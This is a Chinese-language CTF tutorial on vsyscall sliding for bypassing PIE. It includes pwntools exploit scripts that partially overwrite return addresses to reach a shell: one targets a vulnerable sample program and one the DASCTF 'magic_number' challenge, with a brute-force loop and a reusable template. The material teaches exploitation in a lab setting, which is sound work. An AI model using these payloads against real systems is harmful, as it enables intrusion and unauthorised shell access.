Vsyscall简介

由于一般的系统调用如果想要向内核传递一些参数的话,为了保证用户态和内核态的数据隔离,往往需要把当前寄存器状态先保存好,然后再切换到内核态,当执行完后还需要在会恢复寄存器状态,而这中间就会产生大量的系统开销。因此为了解决这个问题,linux系统会将仅从内核里读取数据的syscall单独列出来进行优化,如 gettimeofday、time、getcpu。而其地址也将是固定的,原型如下

1
#define VSYSCALL_ADDR (-10UL << 20)	

通过这段代码可以确定这部分是固定的,也就是 ffffffffff600000

而如果将vsyscall的内存页dump出来的话 会发现全是通过syscall系统调用来执行的。但是却又与普通的syscall系统调用不同,该段代码会再开头进行验证检查,如果不是从函数开头执行的话就会出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__vsyscall_page:
mov $__NR_gettimeofday, %rax
syscall
ret

.balign 1024, 0xcc
mov $__NR_time, %rax
syscall
ret

.balign 1024, 0xcc
mov $__NR_getcpu, %rax
syscall
Ret

而这仨个系统调用的地址为如下

1
2
3
#define VSYSCALL_ADDR_vgettimeofday  0xffffffffff600000
#define VSYSCALL_ADDR_vtime 0xffffffffff600400
#define VSYSCALL_ADDR_vgetcpu 0xffffffffff600800

当执行多次/proc/self[pid]/maps后,可以发现只有vsyscall的地址始终在ffffffffff600000-ffffffffff601000之间

注意:vsyscall仅在部分linux发行版本中可用,如Ubuntu16.04

利用方法

基础用法

由于内存是以页的方式加载的,如果开启了PIE的话只会影响到单个的内存页,而一个内存页的大小为0x1000,这样就意味着不管一条指令怎么变,最后三位都将会是固定不变的。我们便可以通过覆盖后4位(或两位)来进行控制程序

而如何覆盖后4位以及怎么找到我们可以利用的地址,下面看ex师傅的这个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// compiled: gcc -fpie -pie -g vsyscall.c -o vsyscall
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void backdoor();
int main()
{
char buf[0x100];
read(0, buf, 0x100 - 1);
//直接跳转到buf
asm("jmp %0" : : "m" (buf));
return 0;
}
void backdoor()
{
execve("/bin/sh", NULL, NULL);
}

先确定需要利用的地址,及backdoor地址的后4位

我们可以从栈中多打印一些的地址,可以看到在0x7fffffffe040地址上有一个0x555555554890,与backdoor的地址仅在后两位不同,所以我们便可以在栈中填充vsyscall覆盖至该地址后两位(由于小端存储的原因,所以后两位会在顶部,因此便可以直接替换),即 将0x555555554890替换为0x555555554864,就可以直接执行backdoor函数了

现在就是如何确定该地址在栈中的所在位置,这个可以用0x7fffffffe040减去buf的起始地址0x7fffffffdf50再除8即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-v"]
vsyscall = 0xFFFFFFFFFF600000
no =1
sh = process("./vsyscall")
payload = p64(vsyscall)*(0x1e)+'\x64'
#success("no:%d",no)
#gdb.attach(sh)
sh.send(payload)
sh.interactive()

爆破

其次便是一般栈上的地址信息会和我们想要的地址信息差距可能会比较大,此时便可以使用爆破的方法(也就是每次1/16的机会)来控制程序

这次的题目是不久前DASCTF七夕赛的pwn题magic_number

可以看到也是开启了pie,进ida详细分析反汇编代码可以知道有一行调用system(“/bin/sh”)的代码,上面说过开启pie后不管地址怎么随机,最后三位总是不变的,所以可以发现system的地址后三位为aa8,接下来我们只要能在栈中找到一个可以利用来替换的地址即可成功利用vsyscall滑动至该处将后三位覆盖为aa8拿到shell。

接下来使用gdb调试程序,打印出your input:后断开可以看到此时的栈顶rbp+0x28的地方有一个可以覆盖的地址(也可以直接从rsi开始看,这样可以省去考虑ret占用的8bit)。此时如果直接利用vsyscall来覆盖最后一个字节的话便可以直接拿到shell。

但是当我们无法再rbp附近无法找到仅有后两位不同的地址时,那我们便可以来一个通用的方式爆破猜这第三位的数据,所以接下来会挑选一个第三个字节不通的地址来用猜的方式覆盖,往下看

rbp+0x40处的地址上后三位完全不同,就拿这个地址来开🔪,直接上EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
debug = 1
def exp(debug):
global r
if debug == 1:
r = process('./magic_number')
r.recvuntil('Your Input :\n')
vsyscall = 0xffffffffff600000
#gdb.attach(p)
r.send('a'*(0x38)+p64(vsyscall) * 7 + '\xa8\x4a')
#由于rbp之后便是ret的原因,所以我们的vsyscall长度要从rbp+8处开始,因此*7
r.recv(timeout = 1)

if __name__ == '__main__':
time = 1
while True:
try:
log.info("No.%d try"%(time))
exp(debug)
r.interactive()
break
except KeyboardInterrupt:
break
except:
r.close()
time = time + 1
continue


### 非爆破方式直接利用
sh = process('./magic_number')
vsyscall = 0xffffffffff600000
payload = "a"*(0x38-8)
payload += p64(vsyscall)*5+'\xa8'
gdb.attach(sh)
sh.recvuntil('Your Input :\n')
sh.send(payload)
sh.interactive()

EXP模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def exp():
global r
'''
获取shell
'''
r.recv(timeout = 1)

if __name__ == '__main__':
while True:
try:
exp()
r.interactive()
break
except KeyboardInterrupt:
break
except:
continue

学习自:

https://www.cnblogs.com/hawkJW/p/13600295.html

http://www.pwn4fun.com/pwn/recently-interesting-pwn-example.html#DASCTF%E4%B8%83%E5%A4%95%E8%B5%9Bmagicnumber

http://blog.eonew.cn/archives/968